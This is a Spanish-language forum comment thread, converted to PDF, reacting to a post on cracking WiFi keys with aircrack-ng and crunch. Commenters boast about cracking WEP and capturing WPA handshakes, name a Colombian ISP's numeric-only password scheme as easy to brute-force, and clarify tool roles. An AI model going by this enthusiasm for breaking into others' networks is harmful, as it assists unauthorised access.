Hace poco empecé con la vuelta de crackear redes wifi.. me fabriqué una con una lata de pasta de metal, yuna usb wifi enuwi-n3 de encore, esta tarjetica que a simple vista es un mierda... hace maravillas con la latade metal, inyecta, monitorea, saque una wep en menos de 3 min a 550 packets por segundo, unamiercoles!!, y hasta ahora he sacado dos handshakes, la ventaja es que aqui en colombia los inutiles de etble ponen contraseñas numericas de hasta 14 digitos.... y ps crunch me va de pelambre, muyy bueno man, tedoy +10

@mateitow001 hace más de 9 meses -8

mmm q post mas novato

@dysloke hace más de 9 meses +11

mateitow001 dijo:mmm q post mas novato

no es para gente intelectual como vos que posteás "las cumbias de lady gaga"

@mateitow001 hace más de 9 meses -4

Nerd

@Nicko_94 hace más de 9 meses

mateitow001 dijo:Nerd

A esto si que llamo aporte 77

Excelente post !!! Ya sabia usar aircrack, pero no habia probado crunch, solo john the ripper...Eso si una correccion: el modo monitor solo se puede poner a traves de airmon-ng, airodump-ng es un snifferque captura paquetes, pero no pone ese modo solo ni mucho menos. Si pudieras poner un video ilustrativocon un pc comun "de simples mortales" se agradeceria, ademas de evitar el infaltable: "por que tu crackeasa 1500 k/s y yo solo a 500? tienes un i1000??" xD

@washimosfet hace más de 9 meses

un post de un haceker es lo que es muchas gracias a favs, solo sirve en linux , bueno a probrarlo

@CodigoMalicioso hace más de 9 meses

washimosfet dijo:un post de un haceker es lo que es muchas gracias a favs, solo sirve en linux , bueno aprobrarlo

un hacker?, donde???

@Insufactus666 hace más de 9 meses -7

INTENTE PROBARLO CON MI RED, Y DEFINITIVAMENTE NO SIRVIO, DETALLES DE MI RED, WPA2-ENTERPRISE, ENCRIPTACION AES, 32 CARACTERES, CON MINUSCULAS, MAYUSCULAS, NUMEROS,SIMBOLOS, FILTRADO IP Y MAC..

1 2

RelacionadosHasta un tonto puede descifrar claves WPA

clave wpa o wpa2 (funciona en mexico para cablevision)

Querias localizar señales wifi? Mirá!

converted by Web2PDFConvert.com

Anuncios Google WPA Handshake Linux Laptop Hackear Redes WiFi

Ir al cieloBuscar...

Anunciar Ayuda Protocolo Desarrolladores Denuncias Report Abuse - DMCA Términos y condiciones Privacidad de datos Buscar amigos

Hackear Wifi en 3min. Ubuntu [incluye RTL8187b]

DOS en una red Wireless [BackTrack]

Aumenta el Rango de emsion de tu Wireless

Problemas de acceso a internet por wireless con windows 7

Configurar Wireless en GNU/Linux Debian 6.0 Squeeze

converted by Web2PDFConvert.com